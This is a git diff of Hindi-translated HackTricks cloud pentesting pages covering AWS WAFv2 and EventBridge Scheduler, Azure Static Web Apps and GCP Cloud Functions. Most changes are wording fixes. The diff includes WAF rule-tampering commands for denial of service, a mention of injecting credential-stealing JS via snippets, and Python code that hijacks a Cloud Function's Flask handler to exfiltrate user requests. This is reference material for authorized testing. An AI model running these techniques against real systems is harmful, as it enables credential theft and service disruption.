नियम समूहों को अपडेट करना, इसके कार्यों को **ब्लॉक** से **अनुमति** में संशोधित करने में सक्षम होना। - उन नियम समूहों को हटाना जो महत्वपूर्ण सुरक्षा उपाय प्रदान करते हैं। ```bash @@ -243,9 +241,9 @@ aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --vi इन अनुमतियों के साथ, एक हमलावर सक्षम होगा: -- एक नया Web ACL बनाना, नियमों को पेश करना जो या तो दुर्भावनापूर्ण ट्रैफ़िक को अनुमति देते हैं या वैध ट्रैफ़िक को ब्लॉक करते हैं, प्रभावी रूप से WAF को बेकार बना देते हैं या सेवा का इनकार करते हैं। -- मौजूदा Web ACLs को अपडेट करना, हमलों की अनुमति देने के लिए नियमों को संशोधित करने में सक्षम होना जैसे SQL इंजेक्शन या क्रॉस-साइट स्क्रिप्टिंग, जिन्हें पहले ब्लॉक किया गया था, या वैध अनुरोधों को ब्लॉक करके सामान्य ट्रैफ़िक प्रवाह को बाधित करना। -- एक Web ACL को हटाना, प्रभावित संसाधनों को पूरी तरह से असुरक्षित छोड़ना, इसे वेब हमलों की एक विस्तृत श्रृंखला के लिए उजागर करना। +- एक नया Web ACL बनाना, ऐसे नियम पेश करना जो या तो दुर्भावनापूर्ण ट्रैफ़िक को अनुमति देते हैं या वैध ट्रैफ़िक को ब्लॉक करते हैं, जिससे WAF बेकार हो जाता है या सेवा का इनकार होता है। +- मौजूदा Web ACLs को अपडेट करना, हमलों की अनुमति देने के लिए नियमों को संशोधित करना जैसे SQL इंजेक्शन या क्रॉस-साइट स्क्रिप्टिंग, जिन्हें पहले ब्लॉक किया गया था, या वैध अनुरोधों को ब्लॉक करके सामान्य ट्रैफ़िक प्रवाह को बाधित करना। +- एक Web ACL को हटाना, प्रभावित संसाधनों को पूरी तरह से असुरक्षित छोड़ना, जिससे इसे वेब हमलों की एक विस्तृत श्रृंखला के लिए उजागर किया जा सके। > [!NOTE] > आप केवल निर्दिष्ट **WebACL** को हटा सकते हैं यदि **ManagedByFirewallManager** गलत है। @@ -261,7 +259,7 @@ aws wafv2 delete-web-acl --name --id --lock-token --scop ``` निम्नलिखित उदाहरण दिखाता है कि कैसे एक Web ACL को एक विशिष्ट IP सेट से वैध ट्रैफ़िक को ब्लॉक करने के लिए अपडेट किया जाए। यदि मूल IP उन IPs में से किसी से मेल नहीं खाता है, तो डिफ़ॉल्ट क्रिया भी इसे ब्लॉक करना होगा, जिससे DoS होगा। -**मूल Web ACL**: +**Original Web ACL**: ```json { "WebACL": { @@ -382,7 +380,7 @@ aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a - नए regex पैटर्न बनाना एक हमलावर को हानिकारक सामग्री की अनुमति देने में मदद करेगा - मौजूदा पैटर्न को अपडेट करने पर, एक हमलावर सुरक्षा नियमों को बायपास कर सकेगा -- उन पैटर्न को हटाना जो दुर्भावनापूर्ण गतिविधियों को अवरुद्ध करने के लिए डिज़ाइन किए गए हैं, एक हमलावर को दुर्भावनापूर्ण पेलोड भेजने और सुरक्षा उपायों को बायपास करने की अनुमति दे सकता है। +- उन पैटर्न को हटाना जो दुर्भावनापूर्ण गतिविधियों को रोकने के लिए डिज़ाइन किए गए हैं, एक हमलावर को दुर्भावनापूर्ण पेलोड भेजने और सुरक्षा उपायों को बायपास करने की अनुमति दे सकता है। ```bash # Create regex pattern set aws wafv2 create-regex-pattern-set --name --regular-expression-list --scope | CLOUDFRONT --region=us-east-1> [--description ] @@ -395,13 +393,13 @@ aws wafv2 delete-regex-pattern-set --name --scope [!NOTE] > प्रत्येक वेब ACL के लिए केवल एक लॉगिंग गंतव्य को परिभाषित करना संभव है। @@ -415,7 +413,7 @@ aws wafv2 delete-logging-configuration --resource-arn [--log-scope --scope | CLOUDFRONT --region=us-east-1> @@ -424,14 +422,14 @@ aws wafv2 delete-api-key --api-key --scope | #### **`wafv2:TagResource`, `wafv2:UntagResource`** -एक हमलावर AWS WAFv2 संसाधनों, जैसे कि वेब ACLs, नियम समूह, IP सेट, regex पैटर्न सेट, और लॉगिंग कॉन्फ़िगरेशन से टैग जोड़ने, संशोधित करने या हटाने में सक्षम होगा। +एक हमलावर AWS WAFv2 संसाधनों, जैसे कि Web ACLs, नियम समूह, IP सेट, regex पैटर्न सेट, और लॉगिंग कॉन्फ़िगरेशन से टैग जोड़ने, संशोधित करने या हटाने में सक्षम होगा। ```bash # Tag aws wafv2 tag-resource --resource-arn --tags # Untag aws wafv2 untag-resource --resource-arn --tag-keys ``` -**संभावित प्रभाव**: संसाधन छेड़छाड़, जानकारी का रिसाव, लागत हेरफेर और संचालन में विघटन। +**संभावित प्रभाव**: संसाधन छेड़छाड़, जानकारी का रिसाव, लागत में हेरफेर और संचालन में विघटन। ## संदर्भ diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index 16feee9d5..b9ef7f61d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -1,14 +1,12 @@ # AWS - EventBridge Scheduler Enum -## EventBridge Scheduler - {{#include ../../../banners/hacktricks-training.md}} ## EventBridge Scheduler **Amazon EventBridge Scheduler** एक पूरी तरह से प्रबंधित, **सर्वर रहित शेड्यूलर है जो बड़े पैमाने पर कार्यों को बनाने, चलाने और प्रबंधित करने के लिए डिज़ाइन किया गया है**। यह आपको 270 से अधिक AWS सेवाओं और 6,000+ API संचालन के बीच लाखों कार्यों को शेड्यूल करने की अनुमति देता है, सभी एक केंद्रीय सेवा से। अंतर्निहित विश्वसनीयता और प्रबंधित करने के लिए कोई बुनियादी ढांचा नहीं होने के साथ, EventBridge Scheduler शेड्यूलिंग को सरल बनाता है, रखरखाव की लागत को कम करता है, और मांग को पूरा करने के लिए स्वचालित रूप से स्केल करता है। आप आवर्ती शेड्यूल के लिए क्रोन या दर अभिव्यक्तियों को कॉन्फ़िगर कर सकते हैं, एक बार की कॉल सेट कर सकते हैं, और पुनः प्रयास विकल्पों के साथ लचीले वितरण विंडो को परिभाषित कर सकते हैं, यह सुनिश्चित करते हुए कि कार्य विश्वसनीय रूप से डाउनस्ट्रीम लक्ष्यों की उपलब्धता के आधार पर वितरित किए जाते हैं। -प्रत्येक क्षेत्र में प्रति खाते 1,000,000 शेड्यूल का प्रारंभिक सीमा है। यहां तक कि आधिकारिक कोटा पृष्ठ सुझाव देता है, "एक बार के शेड्यूल को समाप्त होने के बाद हटाने की सिफारिश की जाती है।" +प्रत्येक क्षेत्र में प्रति खाते 1,000,000 शेड्यूल का प्रारंभिक सीमा है। यहां तक कि आधिकारिक कोटा पृष्ठ सुझाव देता है, "एक बार के शेड्यूल को पूरा होने के बाद हटाने की सिफारिश की जाती है।" ### Types of Schedules @@ -18,10 +16,10 @@ EventBridge Scheduler में शेड्यूल के प्रकार: 2. **Rate-based schedules** – एक आवृत्ति के आधार पर आवर्ती कार्य सेट करें, जैसे, हर 2 घंटे। 3. **Cron-based schedules** – एक क्रोन अभिव्यक्ति का उपयोग करके आवर्ती कार्य सेट करें, जैसे, हर शुक्रवार को शाम 4 बजे। -असफल घटनाओं को संभालने के लिए दो तंत्र: +Failed Events को संभालने के लिए दो तंत्र: -1. **Retry Policy** – एक असफल घटना के लिए पुनः प्रयास के प्रयासों की संख्या को परिभाषित करता है और इसे असफलता मानने से पहले इसे कितनी देर तक अप्रक्रमित रखा जाए। -2. **Dead-Letter Queue (DLQ)** – एक मानक Amazon SQS कतार जहां असफल घटनाएं पुनः प्रयास समाप्त होने के बाद वितरित की जाती हैं। DLQs आपके शेड्यूल या इसके डाउनस्ट्रीम लक्ष्य के साथ समस्याओं को हल करने में मदद करते हैं। +1. **Retry Policy** – एक विफल घटना के लिए पुनः प्रयास के प्रयासों की संख्या को परिभाषित करता है और इसे विफलता मानने से पहले कितनी देर तक अप्रक्रमित रखा जाए। +2. **Dead-Letter Queue (DLQ)** – एक मानक Amazon SQS कतार जहां विफल घटनाएँ पुनः प्रयास समाप्त होने के बाद वितरित की जाती हैं। DLQs आपके शेड्यूल या इसके डाउनस्ट्रीम लक्ष्य के साथ समस्याओं को हल करने में मदद करते हैं। ### Targets @@ -66,7 +64,7 @@ aws scheduler list-tags-for-resource --resource-arn ``` ### Privesc -निम्नलिखित पृष्ठ पर, आप **इवेंटब्रिज शेड्यूलर अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं: +निम्नलिखित पृष्ठ में, आप देख सकते हैं कि **इवेंटब्रिज शेड्यूलर अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**: {{#ref}} ../aws-privilege-escalation/eventbridgescheduler-privesc.md diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index c5ee29d25..c9610a2f0 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -1 +1,3 @@ -# Az - पोस्ट एक्सप्लॉइटेशन +# Az - Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md index 5a15b88a2..aca6997c9 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md @@ -10,8 +10,13 @@ Function apps के बारे में अधिक जानकारी ../az-services/az-function-apps.md {{#endref}} -> [!CAUTION] > **Function Apps post exploitation tricks विशेष रूप से privilege escalation tricks से संबंधित हैं** इसलिए आप उन्हें वहां पा सकते हैं: +> [!CAUTION] +> **Function Apps पोस्ट एक्सप्लोइटेशन ट्रिक्स प्रिविलेज एस्कलेशन ट्रिक्स से बहुत संबंधित हैं** इसलिए आप उन्हें वहां पा सकते हैं: {{#ref}} ../az-privilege-escalation/az-functions-app-privesc.md {{#endref}} + + + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md index 3e45f0680..a91be1550 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md @@ -1 +1,3 @@ # Az - Privilege Escalation + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md index 03a45b9c8..1ebd30137 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md @@ -1,25 +1,25 @@ -# Az - Static Web Apps +# Az Static Web Apps {{#include ../../../banners/hacktricks-training.md}} ## Static Web Apps Basic Information -Azure Static Web Apps एक क्लाउड सेवा है जो **GitHub जैसे रिपॉजिटरी से स्वचालित CI/CD के साथ स्थिर वेब ऐप्स को होस्ट करने के लिए** है। यह वैश्विक सामग्री वितरण, सर्वर रहित बैकएंड, और अंतर्निहित HTTPS प्रदान करता है, जिससे यह सुरक्षित और स्केलेबल बनता है। हालाँकि, भले ही सेवा को "स्थिर" कहा जाता है, इसका मतलब यह नहीं है कि यह पूरी तरह से सुरक्षित है। जोखिमों में गलत कॉन्फ़िगर किया गया CORS, अपर्याप्त प्रमाणीकरण, और सामग्री छेड़छाड़ शामिल हैं, जो यदि सही तरीके से प्रबंधित नहीं किया गया तो ऐप्स को XSS और डेटा लीक जैसे हमलों के लिए उजागर कर सकते हैं। +Azure Static Web Apps एक क्लाउड सेवा है जो **GitHub जैसे रिपॉजिटरी से स्वचालित CI/CD के साथ स्थिर वेब ऐप्स को होस्ट करने के लिए है**। यह वैश्विक सामग्री वितरण, सर्वर रहित बैकएंड, और अंतर्निहित HTTPS प्रदान करता है, जिससे यह सुरक्षित और स्केलेबल बनता है। हालाँकि, भले ही सेवा को "स्थिर" कहा जाता है, इसका मतलब यह नहीं है कि यह पूरी तरह से सुरक्षित है। जोखिमों में गलत कॉन्फ़िगर किया गया CORS, अपर्याप्त प्रमाणीकरण, और सामग्री में छेड़छाड़ शामिल हैं, जो यदि सही तरीके से प्रबंधित नहीं किया गया तो ऐप्स को XSS और डेटा लीक जैसे हमलों के लिए उजागर कर सकता है। ### Deployment Authentication > [!TIP] > जब एक स्थिर ऐप बनाया जाता है, तो आप **डिप्लॉयमेंट प्राधिकरण नीति** के बीच **डिप्लॉयमेंट टोकन** और **GitHub Actions वर्कफ़्लो** चुन सकते हैं। -- **डिप्लॉयमेंट टोकन**: एक टोकन उत्पन्न होता है और इसे डिप्लॉयमेंट प्रक्रिया को प्रमाणित करने के लिए उपयोग किया जाता है। **इस टोकन के साथ कोई भी नए संस्करण को डिप्लॉय करने के लिए पर्याप्त है**। एक **Github Action स्वचालित रूप से** रिपॉजिटरी में टोकन को एक गुप्त के रूप में नए संस्करण को डिप्लॉय करने के लिए हर बार जब रिपॉजिटरी अपडेट होती है, डिप्लॉय किया जाता है। -- **GitHub Actions वर्कफ़्लो**: इस मामले में एक बहुत समान Github Action भी रिपॉजिटरी में डिप्लॉय किया जाता है और **टोकन भी एक गुप्त में संग्रहीत होता है**। हालाँकि, इस Github Action में एक अंतर है, यह **`actions/github-script@v6`** क्रिया का उपयोग करता है ताकि रिपॉजिटरी का IDToken प्राप्त किया जा सके और इसका उपयोग ऐप को डिप्लॉय करने के लिए किया जा सके। +- **डिप्लॉयमेंट टोकन**: एक टोकन उत्पन्न होता है और इसे डिप्लॉयमेंट प्रक्रिया को प्रमाणित करने के लिए उपयोग किया जाता है। **इस टोकन के साथ कोई भी नए संस्करण को डिप्लॉय करने के लिए पर्याप्त है**। हर बार जब रिपॉजिटरी अपडेट होती है, तो ऐप के नए संस्करण को डिप्लॉय करने के लिए टोकन को एक गुप्त में रखकर **Github Action स्वचालित रूप से** रिपॉजिटरी में डिप्लॉय किया जाता है। +- **GitHub Actions वर्कफ़्लो**: इस मामले में, एक बहुत समान Github Action भी रिपॉजिटरी में डिप्लॉय किया जाता है और **टोकन भी एक गुप्त में संग्रहीत होता है**। हालाँकि, इस Github Action में एक अंतर है, यह **`actions/github-script@v6`** क्रिया का उपयोग करके रिपॉजिटरी का IDToken प्राप्त करता है और इसका उपयोग ऐप को डिप्लॉय करने के लिए करता है। - भले ही दोनों मामलों में क्रिया **`Azure/static-web-apps-deploy@v1`** का उपयोग एक टोकन के साथ `azure_static_web_apps_api_token` पैरामीटर में किया जाता है, इस दूसरे मामले में एक यादृच्छिक टोकन एक मान्य प्रारूप के साथ जैसे `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` ऐप को डिप्लॉय करने के लिए पर्याप्त है क्योंकि प्राधिकरण `github_id_token` पैरामीटर में IDToken के साथ किया जाता है। ### Web App Basic Authentication -यह **वेब ऐप तक पहुँचने के लिए एक पासवर्ड** कॉन्फ़िगर करना संभव है। वेब कंसोल इसे केवल स्टेजिंग वातावरण या स्टेजिंग और उत्पादन दोनों को सुरक्षित करने के लिए कॉन्फ़िगर करने की अनुमति देता है। +वेब ऐप तक पहुँचने के लिए **एक पासवर्ड कॉन्फ़िगर करना संभव है**। वेब कंसोल इसे केवल स्टेजिंग वातावरण या स्टेजिंग और उत्पादन दोनों को सुरक्षित करने के लिए कॉन्फ़िगर करने की अनुमति देता है। -यह इस प्रकार है कि लेखन के समय एक पासवर्ड-सुरक्षित वेब ऐप कैसा दिखता है: +यह इस तरह है कि लेखन के समय एक पासवर्ड-संरक्षित वेब ऐप कैसा दिखता है:
@@ -30,9 +30,9 @@ az rest --method GET \ ``` हालांकि, यह **पासवर्ड को स्पष्ट पाठ में नहीं दिखाएगा**, केवल कुछ इस तरह: `"password": "**********************"`। -### Routes & Roles +### Routes और Roles -Routes **कैसे आने वाले HTTP अनुरोधों को संभाला जाता है** एक स्थिर वेब ऐप के भीतर को परिभाषित करते हैं। **`staticwebapp.config.json`** फ़ाइल में कॉन्फ़िगर किए गए, वे URL पुनर्लेखन, पुनर्निर्देशन, पहुँच प्रतिबंध, और भूमिका-आधारित प्राधिकरण को नियंत्रित करते हैं, उचित संसाधन प्रबंधन और सुरक्षा सुनिश्चित करते हैं। +Routes **कैसे आने वाले HTTP अनुरोधों को संभाला जाता है** एक स्थिर वेब ऐप के भीतर को परिभाषित करते हैं। **`staticwebapp.config.json`** फ़ाइल में कॉन्फ़िगर किए गए, वे URL पुनर्लेखन, पुनर्निर्देश, पहुँच प्रतिबंध, और भूमिका-आधारित प्राधिकरण को नियंत्रित करते हैं, उचित संसाधन प्रबंधन और सुरक्षा सुनिश्चित करते हैं। कुछ उदाहरण: ```json @@ -54,6 +54,11 @@ Routes **कैसे आने वाले HTTP अनुरोधों क "route": "/admin", "redirect": "/login", "statusCode": 302 +}, +{ +"route": "/google", +"redirect": "https://google.com", +"statusCode": 307 } ], "navigationFallback": { @@ -62,13 +67,17 @@ Routes **कैसे आने वाले HTTP अनुरोधों क } } ``` -नोट करें कि **एक भूमिका के साथ एक पथ की सुरक्षा करना** संभव है, फिर, उपयोगकर्ताओं को ऐप में प्रमाणित होना होगा और उस पथ तक पहुँचने के लिए उस भूमिका को प्राप्त करना होगा। यह भी संभव है कि **विशिष्ट उपयोगकर्ताओं को विशिष्ट भूमिकाएँ देने के लिए निमंत्रण बनाए जाएं** जो EntraID, Facebook, GitHub, Google, Twitter के माध्यम से लॉगिन करते हैं, जो ऐप के भीतर विशेषाधिकार बढ़ाने के लिए उपयोगी हो सकता है। +नोट करें कि **एक भूमिका के साथ एक पथ की सुरक्षा करना** संभव है, फिर, उपयोगकर्ताओं को ऐप में प्रमाणित होना होगा और उस पथ तक पहुँचने के लिए उस भूमिका को दिया जाना होगा। यह भी संभव है कि **विशिष्ट उपयोगकर्ताओं को विशिष्ट भूमिकाएँ देने के लिए निमंत्रण बनाएँ** जो EntraID, Facebook, GitHub, Google, Twitter के माध्यम से लॉगिन करते हैं, जो ऐप के भीतर विशेषाधिकार बढ़ाने के लिए उपयोगी हो सकता है। > [!TIP] > ध्यान दें कि ऐप को इस तरह से कॉन्फ़िगर करना संभव है कि **`staticwebapp.config.json`** फ़ाइल में परिवर्तन स्वीकार नहीं किए जाते। इस मामले में, केवल GitHub से फ़ाइल को बदलना पर्याप्त नहीं हो सकता है, बल्कि **ऐप में सेटिंग को भी बदलना होगा**। स्टेजिंग URL का यह प्रारूप है: `https://-..` जैसे: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` +### स्निप्पेट्स + +यह संभव है कि HTML स्निप्पेट्स को एक स्थिर वेब ऐप के अंदर संग्रहीत किया जाए जो ऐप के अंदर लोड होंगे। इसका उपयोग ऐप में **दुष्ट कोड** डालने के लिए किया जा सकता है, जैसे **क्रेडेंशियल चुराने के लिए JS कोड**, एक **कीलॉगर**... अधिक जानकारी विशेषाधिकार वृद्धि अनुभाग में है। + ### प्रबंधित पहचान Azure Static Web Apps को **प्रबंधित पहचान** का उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है, हालाँकि, [इस FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-) में उल्लेखित के अनुसार, वे केवल **प्रमाणीकरण उद्देश्यों के लिए Azure Key Vault से रहस्यों को निकालने के लिए समर्थित हैं, अन्य Azure संसाधनों तक पहुँचने के लिए नहीं**। @@ -77,9 +86,8 @@ Azure Static Web Apps को **प्रबंधित पहचान** का ## गणना -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List Static Webapps az staticwebapp list --output table @@ -100,6 +108,10 @@ az staticwebapp secrets list --name # Get invited users az staticwebapp users list --name +# Get current snippets +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites/trainingdemo/snippets?api-version=2022-03-01" + # Get database connections az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//databaseConnections?api-version=2021-03-01" @@ -111,12 +123,10 @@ az rest --method POST \ # Check connected backends az staticwebapp backends show --name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} -```powershell +{{#tab name="Az Powershell" }} +```bash Get-Command -Module Az.Websites # Retrieves details of a specific Static Web App in the specified resource group. @@ -159,9 +169,8 @@ Get-AzStaticWebAppUser -ResourceGroupName -Name -Auth Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName -Name ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ## Web Apps बनाने के उदाहरण diff --git a/src/pentesting-cloud/gcp-security/gcp-permissions-for-a-pentest.md b/src/pentesting-cloud/gcp-security/gcp-permissions-for-a-pentest.md index 3c61defc9..5bfe36f3b 100644 --- a/src/pentesting-cloud/gcp-security/gcp-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/gcp-security/gcp-permissions-for-a-pentest.md @@ -1,9 +1,11 @@ # GCP - Permissions for a Pentest +{{#include ../../banners/hacktricks-training.md}} + यदि आप GCP वातावरण का परीक्षण करना चाहते हैं, तो आपको **GCP** में उपयोग की जाने वाली **सभी या अधिकांश सेवाओं** की जांच करने के लिए पर्याप्त अनुमतियाँ मांगनी चाहिए। आदर्श रूप से, आपको ग्राहक से यह करने के लिए कहना चाहिए: -* **एक** नया **प्रोजेक्ट** **बनाएँ** -* उस प्रोजेक्ट के अंदर **एक सेवा खाता** **बनाएँ** ( **json प्रमाणपत्र** प्राप्त करें) या **एक नया उपयोगकर्ता** **बनाएँ**। +* **एक नया** **प्रोजेक्ट** **बनाएँ** +* उस प्रोजेक्ट के अंदर **एक सेवा खाता** **बनाएँ** ( **json प्रमाणपत्र** प्राप्त करें) या **एक नया उपयोगकर्ता** बनाएँ। * **सेवा खाते** या **उपयोगकर्ता** को ORGANIZATION पर बाद में उल्लेखित **भूमिकाएँ** **देें** * बनाए गए प्रोजेक्ट में इस पोस्ट में बाद में उल्लेखित **APIs** को **सक्षम** करें @@ -129,4 +131,4 @@ roles/iam.securityReviewer roles/iam.organizationRoleViewer roles/bigquery.metadataViewer ``` - +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/README.md b/src/pentesting-cloud/gcp-security/gcp-persistence/README.md index 27404c0ef..1d1a73a5f 100644 --- a/src/pentesting-cloud/gcp-security/gcp-persistence/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/README.md @@ -1 +1,3 @@ # GCP - स्थिरता + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md index a705ba4fa..ae1260c4f 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md @@ -1 +1,3 @@ # GCP - पोस्ट एक्सप्लॉइटेशन + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md index 692dda4a8..a48f158ed 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md @@ -1,10 +1,10 @@ -# GCP - क्लाउड फ़ंक्शंस पोस्ट एक्सप्लॉइटेशन +# GCP - Cloud Functions Post Exploitation {{#include ../../../banners/hacktricks-training.md}} -## क्लाउड फ़ंक्शंस +## Cloud Functions -क्लाउड फ़ंक्शंस के बारे में कुछ जानकारी प्राप्त करें: +Cloud Functions के बारे में कुछ जानकारी प्राप्त करें: {{#ref}} ../gcp-services/gcp-cloud-functions-enum.md @@ -12,18 +12,18 @@ ### `cloudfunctions.functions.sourceCodeGet` -इस अनुमति के साथ आप **क्लाउड फ़ंक्शन के स्रोत कोड को डाउनलोड करने के लिए एक साइन किया हुआ URL प्राप्त कर सकते हैं**: +इस अनुमति के साथ आप **Cloud Function के स्रोत कोड को डाउनलोड करने के लिए एक साइन किया हुआ URL प्राप्त कर सकते हैं**: ```bash curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \ -H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' ``` -### क्लाउड फ़ंक्शन अनुरोध चुराना +### Cloud Function अनुरोध चुराना -यदि क्लाउड फ़ंक्शन संवेदनशील जानकारी का प्रबंधन कर रहा है जो उपयोगकर्ता भेज रहे हैं (जैसे पासवर्ड या टोकन), तो पर्याप्त विशेषाधिकार के साथ आप **फ़ंक्शन के स्रोत कोड को संशोधित कर सकते हैं और इस जानकारी को निकाल सकते हैं**। +यदि Cloud Function संवेदनशील जानकारी का प्रबंधन कर रहा है जो उपयोगकर्ता भेज रहे हैं (जैसे पासवर्ड या टोकन), तो पर्याप्त विशेषाधिकार के साथ आप **फंक्शन का स्रोत कोड संशोधित कर सकते हैं और इस जानकारी को एक्सफिल्ट्रेट** कर सकते हैं। -इसके अलावा, पायथन में चलने वाले क्लाउड फ़ंक्शन **फ्लास्क** का उपयोग करते हैं ताकि वेब सर्वर को उजागर किया जा सके, यदि आप किसी तरह फ्लास्क प्रक्रिया के अंदर कोड इंजेक्शन की भेद्यता (उदाहरण के लिए SSTI भेद्यता) खोज लेते हैं, तो यह संभव है कि आप **फ़ंक्शन हैंडलर को ओवरराइड करें** जो HTTP अनुरोध प्राप्त करने जा रहा है एक **दुष्ट फ़ंक्शन** के लिए जो **अनुरोध को निकाल सकता है** इससे पहले कि इसे वैध हैंडलर को सौंपा जाए। +इसके अलावा, python में चलने वाले Cloud Functions **flask** का उपयोग करते हैं ताकि वेब सर्वर को उजागर किया जा सके, यदि आप किसी तरह फ्लास्क प्रक्रिया के अंदर कोड इंजेक्शन की कमजोरी (उदाहरण के लिए SSTI कमजोरी) खोज लेते हैं, तो यह संभव है कि आप **फंक्शन हैंडलर को ओवरराइड** कर सकें जो HTTP अनुरोध प्राप्त करने जा रहा है एक **दुष्ट फंक्शन** के लिए जो **अनुरोध को एक्सफिल्ट्रेट** कर सकता है इससे पहले कि इसे वैध हैंडलर को पास किया जाए। उदाहरण के लिए, यह कोड हमले को लागू करता है: ```python @@ -98,7 +98,7 @@ return "/tmp/function.py doesn't exists" # Get relevant function names handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests -source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default) +source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (main.py by default) realpath = os.path.realpath(source_path) # Get full path # Get the modules representations @@ -122,4 +122,4 @@ return "Injection completed!" except Exception as e: return str(e) ``` - +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md index 79ef3f279..c1418ac1c 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md @@ -1,33 +1,31 @@ -# GCP - कस्टम SSH मेटाडेटा जोड़ें - -## GCP - कस्टम SSH मेटाडेटा जोड़ें +# GCP - Add Custom SSH Metadata {{#include ../../../../banners/hacktricks-training.md}} -### मेटाडेटा को संशोधित करना +## Metadata को संशोधित करना -एक उदाहरण पर मेटाडेटा संशोधन **महत्वपूर्ण सुरक्षा जोखिमों** का कारण बन सकता है यदि एक हमलावर आवश्यक अनुमतियाँ प्राप्त कर लेता है। +एक इंस्टेंस पर मेटाडेटा का संशोधन **महत्वपूर्ण सुरक्षा जोखिमों** का कारण बन सकता है यदि एक हमलावर आवश्यक अनुमतियाँ प्राप्त कर लेता है। -#### **कस्टम मेटाडेटा में SSH कुंजियों का समावेश** +### **कस्टम मेटाडेटा में SSH कुंजियों का समावेश** -GCP पर, **Linux सिस्टम** अक्सर [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) से स्क्रिप्ट निष्पादित करते हैं। इसका एक महत्वपूर्ण घटक [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) है, जिसे **नियमित रूप से** उदाहरण मेटाडेटा एंडपॉइंट की **अधिकार प्राप्त SSH सार्वजनिक कुंजियों** के लिए **अपडेट** की जांच करने के लिए डिज़ाइन किया गया है। +GCP पर, **Linux सिस्टम** अक्सर [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) से स्क्रिप्ट चलाते हैं। 